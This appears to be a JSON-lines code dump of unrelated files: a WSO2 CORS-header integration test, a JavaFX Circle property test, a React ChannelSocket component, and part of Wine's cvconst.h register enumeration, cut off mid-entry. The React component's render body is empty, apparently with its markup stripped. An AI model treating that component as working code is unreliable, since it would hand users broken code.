operationsDTOS.add(apiOperationsDTO1);\n apiRequest.setOperationsDTOS(operationsDTOS);\n\n //Create application\n org.wso2.carbon.automation.test.utils.http.client.HttpResponse applicationResponse =\n restAPIStore.createApplication(APPLICATION_NAME,\n APIMIntegrationConstants.APPLICATION_TIER.DEFAULT_APP_POLICY_FIFTY_REQ_PER_MIN,\n APIMIntegrationConstants.APPLICATION_TIER.UNLIMITED,\n ApplicationDTO.TokenTypeEnum.JWT);\n applicationId = applicationResponse.getData();\n\n apiId = createPublishAndSubscribeToAPIUsingRest(apiRequest, restAPIPublisher, restAPIStore, applicationId,\n APIMIntegrationConstants.API_TIER.UNLIMITED);\n\n //get access token\n grantTypes = new ArrayList<>();\n grantTypes.add(APIMIntegrationConstants.GRANT_TYPE.PASSWORD);\n grantTypes.add(APIMIntegrationConstants.GRANT_TYPE.CLIENT_CREDENTIAL);\n ApplicationKeyDTO applicationKeyDTO = restAPIStore.generateKeys(applicationId, \"36000\", \"\",\n ApplicationKeyGenerateRequestDTO.KeyTypeEnum.PRODUCTION, null, grantTypes);\n accessToken = applicationKeyDTO.getToken().getAccessToken();\n\n // Create requestHeaders\n requestHeaders = new HashMap();\n requestHeaders.put(\"accept\", \"text/xml\");\n requestHeaders.put(\"Authorization\", \"Bearer \" + applicationKeyDTO.getToken().getAccessToken());\n\n waitForAPIDeploymentSync(user.getUserName(), API_NAME, API_VERSION, APIMIntegrationConstants.IS_API_EXISTS);\n }\n\n @Test(groups = {\"wso2.am\"}, description = \"Checking CORS headers in pre-flight response\")\n public void CheckCORSHeadersInPreFlightResponse() throws Exception {\n HttpClient httpclient = HttpClientBuilder.create().build();\n HttpUriRequest option = new HttpOptions(getAPIInvocationURLHttps(API_CONTEXT, API_VERSION) + \"/customers/123\");\n option.addHeader(\"Origin\", \"http://localhost\");\n option.addHeader(\"Access-Control-Request-Method\", \"GET\");\n HttpResponse response = httpclient.execute(option);\n\n assertEquals(response.getStatusLine().getStatusCode(), HTTP_RESPONSE_CODE_OK, \"Response code mismatch.\");\n\n Header[] responseHeaders = response.getAllHeaders();\n\n log.info(\"Response Headers: CheckCORSHeadersInPreFlightResponse\");\n for (Header header : responseHeaders) {\n log.info(header.getName() + \" : \" + header.getValue());\n }\n\n Header header = pickHeader(responseHeaders, ACCESS_CONTROL_ALLOW_ORIGIN_HEADER);\n assertNotNull(header, ACCESS_CONTROL_ALLOW_ORIGIN_HEADER + \" header is not available in the response.\");\n assertEquals(header.getValue(), ACCESS_CONTROL_ALLOW_ORIGIN_HEADER_VALUE,\n ACCESS_CONTROL_ALLOW_ORIGIN_HEADER + \" header value mismatch.\");\n\n header = pickHeader(responseHeaders, ACCESS_CONTROL_ALLOW_METHODS_HEADER);\n assertNotNull(header, ACCESS_CONTROL_ALLOW_METHODS_HEADER + \" header is not available in the response.\");\n assertTrue(ACCESS_CONTROL_ALLOW_METHODS_HEADER_VALUE.contains(header.getValue()),\n header.getValue() + \" header value mismatch.\");\n\n header = pickHeader(responseHeaders, ACCESS_CONTROL_ALLOW_HEADERS_HEADER);\n assertNotNull(header, ACCESS_CONTROL_ALLOW_HEADERS_HEADER + \" header is not available in the response.\");\n assertEquals(header.getValue(), ACCESS_CONTROL_ALLOW_HEADERS_HEADER_VALUE,\n ACCESS_CONTROL_ALLOW_HEADERS_HEADER + \" header value mismatch.\");\n\n assertNull(pickHeader(responseHeaders, ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER),\n ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER + \" header is available in the response, \" +\n \"but it should not be.\");\n }\n\n @Test(groups = {\"wso2.am\"}, description = \"Checking CORS headers in response\",\n dependsOnMethods = \"CheckCORSHeadersInPreFlightResponse\")\n public void CheckCORSHeadersInResponse() throws Exception {\n HttpClient httpclient = HttpClientBuilder.create().build();\n HttpGet get = new HttpGet(getAPIInvocationURLHttps(API_CONTEXT, API_VERSION) + \"/customers/123\");\n get.addHeader(\"Origin\", \"http://localhost\");\n get.addHeader(\"Authorization\", \"Bearer \" + accessToken);\n\n HttpResponse response = httpclient.execute(get);\n assertEquals(response.getStatusLine().getStatusCode(), HTTP_RESPONSE_CODE_OK, \"Response code mismatch.\");\n\n Header[] responseHeaders = response.getAllHeaders();\n\n log.info(\"Response Headers: CheckCORSHeadersInResponse\");\n for (Header header : responseHeaders) {\n log.info(header.getName() + \" : \" + header.getValue());\n }\n\n Header header = pickHeader(responseHeaders, ACCESS_CONTROL_ALLOW_ORIGIN_HEADER);\n assertNotNull(header, ACCESS_CONTROL_ALLOW_ORIGIN_HEADER + \" header is not available in the response.\");\n assertEquals(header.getValue(), ACCESS_CONTROL_ALLOW_ORIGIN_HEADER_VALUE,\n ACCESS_CONTROL_ALLOW_ORIGIN_HEADER + \" header value mismatch.\");\n\n header = pickHeader(responseHeaders, ACCESS_CONTROL_ALLOW_METHODS_HEADER);\n assertNotNull(header, ACCESS_CONTROL_ALLOW_METHODS_HEADER + \" header is not available in the response.\");\n assertTrue(ACCESS_CONTROL_ALLOW_METHODS_HEADER_VALUE.contains(header.getValue()),\n ACCESS_CONTROL_ALLOW_METHODS_HEADER + \" header value mismatch.\");\n\n header = pickHeader(responseHeaders, ACCESS_CONTROL_ALLOW_HEADERS_HEADER);\n assertNotNull(header, ACCESS_CONTROL_ALLOW_HEADERS_HEADER + \" header is not available in the response.\");\n assertEquals(header.getValue(), ACCESS_CONTROL_ALLOW_HEADERS_HEADER_VALUE,\n ACCESS_CONTROL_ALLOW_HEADERS_HEADER + \" header value mismatch.\");\n\n assertNull(pickHeader(responseHeaders, ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER),\n ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER + \" header is available in the response, \" +\n \"but it should not be.\");\n }\n\n @AfterClass(alwaysRun = true)\n public void destroy() throws Exception {\n SubscriptionListDTO subsDTO = restAPIStore.getAllSubscriptionsOfApplication(applicationId);\n for (SubscriptionDTO subscriptionDTO: subsDTO.getList()){\n restAPIStore.removeSubscription(subscriptionDTO.getSubscriptionId());\n }\n restAPIStore.deleteApplication(applicationId);\n restAPIPublisher.deleteAPI(apiId);\n\n super.cleanUp();\n }\n\n @DataProvider\n public static Object[][] userModeDataProvider() {\n return new Object[][] { new Object[] { TestUserMode.SUPER_TENANT_ADMIN },\n new Object[] { TestUserMode.TENANT_ADMIN },\n new Object[] { TestUserMode.SUPER_TENANT_USER_STORE_USER },\n new Object[] { TestUserMode.SUPER_TENANT_EMAIL_USER },\n new Object[] { TestUserMode.TENANT_EMAIL_USER },\n };\n }\n\n @Factory(dataProvider = \"userModeDataProvider\")\n public CORSHeadersTestCase(TestUserMode userMode) {\n this.userMode = userMode;\n }\n}\n"} +{"text": "/*\n * Copyright (c) 2011, 2015, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\npackage test.javafx.scene.shape;\n\nimport java.util.Arrays;\nimport java.util.Collection;\nimport javafx.scene.shape.Circle;\n\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Parameterized;\nimport org.junit.runners.Parameterized.Parameters;\n\nimport test.com.sun.javafx.test.PropertiesTestBase;\n\n@RunWith(Parameterized.class)\npublic final class Circle_properties_Test extends PropertiesTestBase {\n @Parameters\n public static Collection data() {\n final Circle testCircle = new Circle();\n\n return Arrays.asList(new Object[] {\n config(testCircle, \"centerX\", 0.0, 100.0),\n config(testCircle, \"centerY\", 0.0, 100.0),\n config(testCircle, \"radius\", 50.0, 150.0)\n });\n }\n\n public Circle_properties_Test(final Configuration configuration) {\n super(configuration);\n }\n}\n"} +{"text": "import React from 'react';\nimport { colors as Colors } from 'material-ui/styles/';\nimport SocketWrapper from './SocketWrapper';\n\nexport default React.createClass({\n displayName: 'ChannelSocket',\n\n getDefaultProps() {\n return {\n tooltip: 'Create a Channel Socket'\n };\n },\n\n getStyles() {\n return {\n iconStyle: {\n color: Colors.blue300\n }\n };\n },\n\n render() {\n const styles = this.getStyles();\n const {\n style,\n iconStyle,\n ...other\n } = this.props;\n\n return (\n \n );\n }\n});\n"} +{"text": "/*\n * File cvconst.h - MS debug information\n *\n * Copyright (C) 2004, Eric Pouech\n * Copyright (C) 2012, André Hentschel\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA\n */\n\n/* information in this file is highly derived from MSDN DIA information pages */\n\n/* symbols & types enumeration */\nenum SymTagEnum\n{\n SymTagNull,\n SymTagExe,\n SymTagCompiland,\n SymTagCompilandDetails,\n SymTagCompilandEnv,\n SymTagFunction,\n SymTagBlock,\n SymTagData,\n SymTagAnnotation,\n SymTagLabel,\n SymTagPublicSymbol,\n SymTagUDT,\n SymTagEnum,\n SymTagFunctionType,\n SymTagPointerType,\n SymTagArrayType,\n SymTagBaseType,\n SymTagTypedef, \n SymTagBaseClass,\n SymTagFriend,\n SymTagFunctionArgType, \n SymTagFuncDebugStart, \n SymTagFuncDebugEnd,\n SymTagUsingNamespace, \n SymTagVTableShape,\n SymTagVTable,\n SymTagCustom,\n SymTagThunk,\n SymTagCustomType,\n SymTagManagedType,\n SymTagDimension,\n SymTagMax\n};\n\nenum BasicType\n{\n btNoType = 0,\n btVoid = 1,\n btChar = 2,\n btWChar = 3,\n btInt = 6,\n btUInt = 7,\n btFloat = 8,\n btBCD = 9,\n btBool = 10,\n btLong = 13,\n btULong = 14,\n btCurrency = 25,\n btDate = 26,\n btVariant = 27,\n btComplex = 28,\n btBit = 29,\n btBSTR = 30,\n btHresult = 31,\n};\n\n/* kind of UDT */\nenum UdtKind\n{\n UdtStruct,\n UdtClass,\n UdtUnion\n};\n\n/* where a SymTagData is */\nenum LocationType\n{\n LocIsNull,\n LocIsStatic,\n LocIsTLS,\n LocIsRegRel,\n LocIsThisRel,\n LocIsEnregistered,\n LocIsBitField,\n LocIsSlot,\n LocIsIlRel,\n LocInMetaData,\n LocIsConstant\n};\n\n/* kind of SymTagData */\nenum DataKind\n{\n DataIsUnknown,\n DataIsLocal,\n DataIsStaticLocal,\n DataIsParam,\n DataIsObjectPtr,\n DataIsFileStatic,\n DataIsGlobal,\n DataIsMember,\n DataIsStaticMember,\n DataIsConstant\n};\n\n/* values for registers (on different CPUs) */\nenum CV_HREG_e\n{\n /* those values are common to all supported CPUs (and CPU independent) */\n CV_ALLREG_ERR = 30000,\n CV_ALLREG_TEB = 30001,\n CV_ALLREG_TIMER = 30002,\n CV_ALLREG_EFAD1 = 30003,\n CV_ALLREG_EFAD2 = 30004,\n CV_ALLREG_EFAD3 = 30005,\n CV_ALLREG_VFRAME = 30006,\n CV_ALLREG_HANDLE = 30007,\n CV_ALLREG_PARAMS = 30008,\n CV_ALLREG_LOCALS = 30009,\n CV_ALLREG_TID = 30010,\n CV_ALLREG_ENV = 30011,\n CV_ALLREG_CMDLN = 30012,\n\n /* Intel x86 CPU */\n CV_REG_NONE = 0,\n CV_REG_AL = 1,\n CV_REG_CL = 2,\n CV_REG_DL = 3,\n CV_REG_BL = 4,\n CV_REG_AH = 5,\n CV_REG_CH = 6,\n CV_REG_DH = 7,\n CV_REG_BH = 8,\n CV_REG_AX = 9,\n CV_REG_CX = 10,\n CV_REG_DX = 11,\n CV_REG_BX = 12,\n CV_REG_SP = 13,\n CV_REG_BP = 14,\n CV_REG_SI = 15,\n CV_REG_DI = 16,\n CV_REG_EAX = 17,\n CV_REG_ECX = 18,\n CV_REG_EDX = 19,\n CV_REG_EBX = 20,\n CV_REG_ESP = 21,\n CV_REG_EBP = 22,\n CV_REG_ESI = 23,\n CV_REG_EDI = 24,\n CV_REG_ES = 25,\n CV_REG_CS = 26,\n CV_REG_SS = 27,\n CV_REG_DS = 28,\n CV_REG_FS = 29,\n CV_REG_GS = 30,\n CV_REG_IP = 31,\n CV_REG_FLAGS = 32,\n CV_REG_EIP = 33,\n CV_REG_EFLAGS = 34,\n\n /* */\n CV_REG_TEMP = 40,\n CV_REG_TEMPH = 41,\n CV_REG_QUOTE = 42,\n CV_REG_PCDR3 = 43, /* this includes PCDR4 to PCDR7 */\n CV_REG_CR0 = 80, /* this includes CR1 to CR4 */\n CV_REG_DR0 = 90, /* this includes DR1 to DR7 */\n /* */\n\n CV_REG_GDTR = 110,\n CV_REG_GDTL = 111,\n CV_REG_IDTR = 112,\n CV_REG_IDTL = 113,\n CV_REG_LDTR = 114,\n CV_REG_TR = 115,\n\n CV_REG_PSEUDO1 = 116, /* this includes Pseudo02 to Pseudo09 */\n CV_REG_ST0 = 128, /* this includes ST1 to ST7 */\n CV_REG_CTRL = 136,\n CV_REG_STAT = 137,\n CV_REG_TAG = 138,\n CV_REG_FPIP = 139,\n CV_REG_FPCS = 140,\n CV_REG_FPDO = 141,\n CV_REG_FPDS = 142,\n CV_REG_ISEM = 143,\n CV_REG_FPEIP = 144,\n CV_REG_FPEDO = 145,\n CV_REG_MM0 = 146, /* this includes MM1 to MM7 */\n CV_REG_XMM0 = 154, /* this includes XMM1 to XMM7 */\n CV_REG_XMM00 = 162,\n CV_REG_XMM0L = 194, /* this includes XMM1L to XMM7L */\n CV_REG_XMM0H = 202, /* this includes XMM1H to XMM7H */\n CV_REG_MXCSR = 211,\n CV_REG_EDXEAX = 212,\n CV_REG_EMM0L = 220,\n CV_REG_EMM0H = 228,\n CV_REG_MM00 = 236,\n CV_REG_MM01 = 237,\n CV_REG_MM10 = 238,\n CV_REG_MM11 = 239,\n CV_REG_MM20 = 240,\n CV_REG_MM21 = 241,\n CV_REG_MM30 = 242,\n CV_REG_MM31 = 243,\n CV_REG_MM40 = 244,\n CV_REG_MM41 = 245,\n CV_REG_MM50 = 246,\n CV_REG_MM51 = 247,\n CV_REG_MM60 = 248,\n CV_REG_MM61 = 249,\n CV_REG_MM70 = 250,\n CV_REG_MM71 = 251,\n\n CV_REG_YMM0 = 252, /* this includes YMM1 to YMM7 */\n CV_REG_YMM0H = 260, /* this includes YMM1H to YMM7H */\n CV_REG_YMM0I0 = 268, /* this includes YMM0I1 to YMM0I3 */\n CV_REG_YMM1I0 = 272, /* this includes YMM1I1 to YMM1I3 */\n CV_REG_YMM2I0 = 276, /* this includes YMM2I1 to YMM2I3 */\n CV_REG_YMM3I0 = 280, /* this includes YMM3I1 to YMM3I3 */\n CV_REG_YMM4I0 = 284, /* this includes YMM4I1 to YMM4I3 */\n CV_REG_YMM5I0 = 288, /* this includes YMM5I1 to YMM5I3 */\n CV_REG_YMM6I0 = 292, /* this includes YMM6I1 to YMM6I3 */\n CV_REG_YMM7I0 = 296, /* this includes YMM7I1 to YMM7I3 */\n CV_REG_YMM0F0 = 300, /* this includes YMM0F1 to YMM0F7 */\n CV_REG_YMM1F0 = 308, /* this includes YMM1F1 to YMM1F7 */\n CV_REG_YMM2F0 = 316, /* this includes YMM2F1 to YMM2F7 */\n CV_REG_YMM3F0 = 324, /* this includes YMM3F1 to YMM3F7 */\n CV_REG_YMM4F0 = 332, /* this includes YMM4F1 to YMM4F7 */\n CV_REG_YMM5F0 = 340, /* this includes YMM5F1 to YMM5F7 */\n CV_REG_YMM6F0 = 348, /* this includes YMM6F1 to YMM6F7 */\n CV_REG_YMM7F0 = 356, /* this includes YMM7F1 to YMM7F7 */\n CV_REG_YMM0D0 = 364, /* this includes YMM0D1 to YMM0D3 */\n CV_REG_YMM1D0 = 368, /* this includes YMM1D1 to YMM1D3 */\n CV_REG_YMM2D0 = 372, /* this includes YMM2D1 to YMM2D3 */\n CV_REG_YMM3D0 = 376, /* this includes YMM3D1 to YMM3D3 */\n CV_REG_YMM4D0 = 380, /* this includes YMM4D1 to YMM4D3 */\n CV_REG_YMM5D0 = 384, /* this includes YMM5D1 to YMM5D3 */\n CV_REG_YMM6D0 = 388, /* this includes YMM6D1 to YMM6D3 */\n CV_REG_YMM7D0 = 392, /* this includes YMM7D1 to YMM7D3 */\n\n /* Motorola 68K CPU */\n CV_R68_D0 = 0, /* this includes D1 to D7 too */\n CV_R68_A0 = 8, /* this includes A1 to A7 too */\n CV_R68_CCR = 16,\n CV_R68_SR = 17,\n CV_R68_USP = 18,\n CV_R68_MSP = 19,\n CV_R68_SFC = 20,\n CV_R68_DFC = 21,\n CV_R68_CACR = 22,\n CV_R68_VBR = 23,\n CV_R68_CAAR = 24,\n CV_R68_ISP = 25,\n CV_R68_PC = 26,\n CV_R68_FPCR = 28,\n CV_R68_FPSR = 29,\n CV_R68_FPIAR = 30,\n CV_R68_FP0 = 32, /* this includes FP1 to FP7 */\n CV_R68_MMUSR030 = 41,\n CV_R68_MMUSR = 42,\n CV_R68_URP = 43,\n CV_R68_DTT0 = 44,\n CV_R68_DTT1 = 45,\n CV_R68_ITT0 = 46,\n CV_R68_ITT1 = 47,\n CV_R68_PSR = 51,\n CV_R68_PCSR = 52,\n CV_R68_VAL = 53,\n CV_R68_CRP = 54,\n CV_R68_SRP = 55,\n CV_R68_DRP = 56,\n CV_R68_TC = 57,\n CV_R68_AC = 58,\n CV_R68_SCC = 59,\n CV_R68_CAL = 60,\n CV_R68_TT0 = 61,\n CV_R68_TT1 = 62,\n CV_R68_BAD0 = 64, /* this includes BAD1 to BAD7 */\n CV_R68_BAC0 = 72, /* this includes BAC1 to BAC7 */\n\n /* MIPS 4000 CPU */\n CV_M4_NOREG = CV_REG_NONE,\n CV_M4_IntZERO = 10,\n CV_M4_IntAT = 11,\n CV_M4_IntV0 = 12,\n CV_M4_IntV1 = 13,\n CV_M4_IntA0 = 14, /* this includes IntA1 to IntA3 */\n CV_M4_IntT0 = 18, /* this includes IntT1 to IntT7 */\n CV_M4_IntS0 = 26, /* this includes IntS1 to IntS7 */\n CV_M4_IntT8 = 34,\n CV_M4_IntT9 = 35,\n CV_M4_IntKT0 = 36,\n CV_M4_IntKT1 = 37,\n CV_M4_IntGP = 38,\n CV_M4_IntSP = 39,\n CV_M4_IntS8 = 40,\n CV_M4_IntRA = 41,\n CV_M4_IntLO = 42,\n CV_M4_IntHI = 43,\n CV_M4_Fir = 50,\n CV_M4_Psr = 51,\n CV_M4_FltF0 = 60, /* this includes FltF1 to Flt31 */\n CV_M4_FltFsr = 92,\n\n /* Alpha AXP CPU */\n CV_ALPHA_NOREG = CV_REG_NONE,\n CV_ALPHA_FltF0 = 10, /* this includes FltF1 to FltF31 */\n CV_ALPHA_IntV0 = 42,\n CV_ALPHA_IntT0 = 43, /* this includes T1 to T7 */\n CV_ALPHA_IntS0 = 51, /* this includes S1 to S5 */\n CV_ALPHA_IntFP = 57,\n CV_ALPHA_IntA0 = 58, /* this includes A1 to A5 */\n CV_ALPHA_IntT8 = 64,\n CV_ALPHA_IntT9 = 65,\n CV_ALPHA_IntT10 = 66,\n CV_ALPHA_IntT11 = 67,\n CV_ALPHA_IntRA = 68,\n CV_ALPHA_IntT12 = 69,\n CV_ALPHA_IntAT = 70,\n CV_ALPHA_IntGP = 71,\n CV_ALPHA_IntSP = 72,\n CV_ALPHA_IntZERO = 73,\n CV_ALPHA_Fpcr = 74,\n CV_ALPHA_Fir = 75,\n CV_ALPHA_Psr = 76,\n CV_ALPHA_FltFsr = 77,\n CV_ALPHA_SoftFpcr = 78,\n\n /* Motorola & IBM PowerPC CPU */\n CV_PPC_GPR0 = 1, /* this includes GPR1 to GPR31 */\n CV_PPC_CR = 33,\n CV_PPC_CR0 = 34, /* this includes CR1 to CR7 */\n CV_PPC_FPR0 = 42, /* this includes FPR1 to FPR31 */\n\n CV_PPC_FPSCR = 74,\n CV_PPC_MSR = 75,\n CV_PPC_SR0 = 76, /* this includes SR1 to SR15 */\n CV_PPC_PC = 99,\n CV_PPC_MQ = 100,\n CV_PPC_XER = 101,\n CV_PPC_RTCU = 104,\n CV_PPC_RTCL = 105,\n CV_PPC_LR = 108,\n CV_PPC_CTR = 109,\n CV_PPC_COMPARE = 110,\n CV_PPC_COUNT = 111,\n CV_PPC_DSISR = 118,\n CV_PPC_DAR = 119,\n CV_PPC_DEC = 122,\n CV_PPC_SDR1 = 125,\n CV_PPC_SRR0 = 126,\n CV_PPC_SRR1 = 127,\n CV_PPC_SPRG0 = 372, /* this includes SPRG1 to SPRG3 */\n CV_PPC_ASR = 280,\n CV_PPC_EAR = 382,\n CV_PPC_PVR = 287,\n CV_PPC_BAT0U = 628,\n CV_PPC_BAT0L = 629,\n CV_PPC_BAT1U = 630,\n CV_PPC_BAT1L = 631,\n CV_PPC_BAT2U = 632,\n CV_PPC_BAT2L = 633,\n CV_PPC_BAT3U = 634,\n CV_PPC_BAT3L = 635,\n CV_PPC_DBAT0U = 636,\n CV_PPC_DBAT0L = 637,\n CV_PPC_DBAT1U = 638,\n CV_PPC_DBAT1L = 639,\n CV_PPC_DBAT2U = 640,\n CV_PPC_DBAT2L = 641,\n CV_PPC_DBAT3U = 642,\n CV_PPC_DBAT3L = 643,\n CV_PPC_PMR0 = 1044, /* this includes PMR1 to PMR15 */\n CV_PPC_DMISS = 1076,\n CV_PPC_DCMP = 1077,\n CV_PPC_HASH1 = 1078,\n CV_PPC_HASH2 = 1079,\n CV_PPC_IMISS = 1080,\n CV_PPC_ICMP = 1081,\n CV_PPC_RPA = 1082,\n CV_PPC_HID0 = 1108, /* this includes HID1 to HID15 */\n\n /* Java */\n CV_JAVA_PC = 1,\n\n /* Hitachi SH3 CPU */\n CV_SH3_NOREG = CV_REG_NONE,\n CV_SH3_IntR0 = 10, /* this include R1 to R13 */\n CV_SH3_IntFp = 24,\n CV_SH3_IntSp = 25,\n CV_SH3_Gbr = 38,\n CV_SH3_Pr = 39,\n CV_SH3_Mach = 40,\n CV_SH3_Macl = 41,\n CV_SH3_Pc = 50,\n CV_SH3_Sr = 51,\n CV_SH3_BarA = 60,\n CV_SH3_BasrA = 61,\n CV_SH3_BamrA = 62,\n CV_SH3_BbrA = 63,\n CV_SH3_BarB = 64,\n CV_SH3_BasrB = 65,\n CV_SH3_BamrB = 66,\n CV_SH3_BbrB = 67,\n CV_SH3_BdrB = 68,\n CV_SH3_BdmrB = 69,\n CV_SH3_Brcr = 70,\n CV_SH_Fpscr = 75,\n CV_SH_Fpul = 76,\n CV_SH_FpR0 = 80, /* this includes FpR1 to FpR15 */\n CV_SH_XFpR0 = 96, /* this includes XFpR1 to XXFpR15 */\n\n /* ARM CPU */\n CV_ARM_NOREG = CV_REG_NONE,\n CV_ARM_R0 = 10, /* this includes R1 to R12 */\n CV_ARM_SP = 23,\n CV_ARM_LR = 24,\n CV_ARM_PC = 25,\n CV_ARM_CPSR = 26,\n CV_ARM_ACC0 = 27,\n CV_ARM_FPSCR = 40,\n CV_ARM_FPEXC = 41,\n CV_ARM_FS0 = 50, /* this includes FS1 to FS31 */\n CV_ARM_FPEXTRA0 = 90, /* this includes FPEXTRA1 to FPEXTRA7 */\n CV_ARM_WR0 = 128, /* this includes WR1 to WR15 */\n CV_ARM_WCID = 144,\n CV_ARM_WCON = 145,\n CV_ARM_WCSSF = 146,\n CV_ARM_WCASF = 147,\n CV_ARM_WC4 = 148,\n CV_ARM_WC5 = 149,\n CV_ARM_WC6 = 150,\n CV_ARM_WC7 = 151,\n CV_ARM_WCGR0 = 152, /* this includes WCGR1 to WCGR3 */\n CV_ARM_WC12 = 156,\n CV_ARM_WC13 = 157,\n CV_ARM_WC14 = 158,\n CV_ARM_WC15 = 159,\n CV_ARM_FS32 = 200, /* this includes FS33 to FS63 */\n CV_ARM_ND0 = 300, /* this includes ND1 to ND31 */\n CV_ARM_NQ0 = 400, /* this includes NQ1 to NQ15 */\n\n /* Intel IA64 CPU */\n CV_IA64_NOREG = CV_REG_NONE,\n CV_IA64_Br0 = 512, /* this includes Br1 to Br7 */\n CV_IA64_P0 = 704, /* this includes P1 to P63 */\n CV_IA64_Preds = 768,\n CV_IA64_IntH0 = 832, /* this includes H1 to H15 */\n CV_IA64_Ip = 1016,\n CV_IA64_Umask = 1017,\n CV_IA64_Cfm = 1018,\n CV_IA64_Psr = 1019,\n CV_IA64_Nats = 1020,\n CV_IA64_Nats2 = 1021,\n CV_IA64_Nats3 = 1022,\n CV_IA64_IntR0 = 1024, /* this includes R1 to R127 */\n CV_IA64_FltF0 = 2048, /* this includes FltF1 to FltF127 */\n /* some IA64 registers missing */\n\n /* TriCore CPU */\n CV_TRI_NOREG = CV_REG_NONE,\n CV_TRI_D0 = 10, /* includes D1 to D15 */\n CV_TRI_A0 = 26, /* includes A1 to A15 */\n CV_TRI_E0 = 42,\n CV_TRI_E2 = 43,\n CV_TRI_E4 = 44,\n CV_TRI_E6 = 45,\n CV_TRI_E8 = 46,\n CV_TRI_E10 = 47,\n CV_TRI_E12 = 48,\n CV_TRI_E14 = 49,\n CV_TRI_EA0 = 50,\n CV_TRI_EA2 = 51,\n CV_TRI_EA4 = 52,\n CV_TRI_EA6 = 53,\n CV_TRI_EA8 = 54,\n CV_TRI_EA10 = 55,\n CV_TRI_EA12 = 56,\n CV_TRI_EA14 = 57,\n CV_TRI_PSW = 58,\n CV_TRI_PCXI = 59,\n CV_TRI_PC = 60,\n CV_TRI_FCX = 61,\n CV_TRI_LCX = 62,\n CV_TRI_ISP = 63,\n CV_TRI_ICR = 64,\n CV_TRI_BIV = 65,\n CV_TRI_BTV = 66,\n CV_TRI_SYSCON = 67,\n CV_TRI_DPRx_0 = 68, /* includes DPRx_1 to DPRx_3 */\n CV_TRI_CPRx_0 = 68, /* includes CPRx_1 to CPRx_3 */\n CV_TRI_DPMx_0 = 68, /* includes DPMx_1 to DPMx_3 */\n CV_TRI_CPMx_0 = 68, /* includes CPMx_1 to CPMx_3 */\n CV_TRI_DBGSSR = 72,\n CV_TRI_EXEVT = 73,\n CV_TRI_SWEVT = 74,\n CV_TRI_CREVT = 75,\n CV_TRI_TRnEVT = 76,\n CV_TRI_MMUCON = 77,\n CV_TRI_ASI = 78,\n CV_TRI_TVA = 79,\n CV_TRI_TPA = 80,\n CV_TRI_TPX = 81,\n CV_TRI_TFA = 82,\n\n /* AM33 (and the likes) CPU */\n CV_AM33_NOREG = CV_REG_NONE,\n CV_AM33_E0 = 10, /* this includes E1 to E7 */\n CV_AM33_A0 = 20, /* this includes A1 to A3 */\n CV_AM33_D0 = 30, /* this includes D1 to D3 */\n CV_AM33_FS0 = 40, /* this includes FS1 to FS31 */\n CV_AM33_SP = 80,\n CV_AM33_PC = 81,\n CV_AM33_MDR = 82,\n CV_AM33_MDRQ = 83,\n CV_AM33_MCRH = 84,\n CV_AM33_MCRL = 85,\n CV_AM33_MCVF = 86,\n CV_AM33_EPSW = 87,\n CV_AM33_FPCR = 88,\n CV_AM33_LIR = 89,\n CV_AM33_LAR = 90,\n\n /* Mitsubishi M32R CPU */\n CV_M32R_NOREG = CV_REG_NONE,\n CV_M32R_R0 = 10, /* this includes R1 to R11 */\n CV_M32R_R12 = 22,\n CV_M32R_R13 = 23,\n CV_M32R_R14 = 24,\n CV_M32R_R15 = 25,\n CV_M32R_PSW = 26,\n CV_M32R_CBR = 27,\n CV_M32R_SPI = 28,\n CV_M32R_SPU = 29,\n CV_M32R_SPO = 30,\n CV_M32R_BPC = 31,\n CV_M32R_ACHI = 32,\n CV_M32R_ACLO = 33,\n CV_M32R_PC = 34,\n\n /* AMD/Intel x86_64 CPU */\n CV_AMD64_NONE = CV_REG_NONE,\n CV_AMD64_AL = CV_REG_AL,\n CV_AMD64_CL = CV_REG_CL,\n CV_AMD64_DL = CV_REG_DL,\n CV_AMD64_BL = CV_REG_BL,\n CV_AMD64_AH = CV_REG_AH,\n CV_AMD64_CH = CV_REG_CH,\n CV_AMD64_DH = CV_REG_DH,\n CV_AMD64_BH = CV_REG_BH,\n CV_AMD64_AX = CV_REG_AX,\n CV_AMD64_CX = CV_REG_CX,\n CV_AMD64_DX = CV_REG_DX,\n CV_AMD64_BX = CV_REG_BX,\n CV_AMD64_SP = CV_REG_SP,\n CV_AMD64_BP = CV_REG_BP,\n CV_AMD64_SI = CV_REG_SI,\n CV_AMD64_DI = CV_REG_DI,\n CV_AMD64_EAX = CV_REG_EAX,\n CV_AMD64_ECX = CV_REG_ECX,\n CV_AMD64_EDX = CV_REG_EDX,\n CV_AMD64_EBX = CV_REG_EBX,\n CV_AMD64_ESP = CV_REG_ESP,\n CV_AMD64_EBP = CV_REG_EBP,\n CV_AMD64_ESI = CV_REG_ESI,\n CV_AMD64_EDI = CV_REG_EDI,\n CV_AMD64_ES = CV_REG_ES,\n CV_AMD64_CS = CV_REG_CS,\n CV_AMD64_SS = 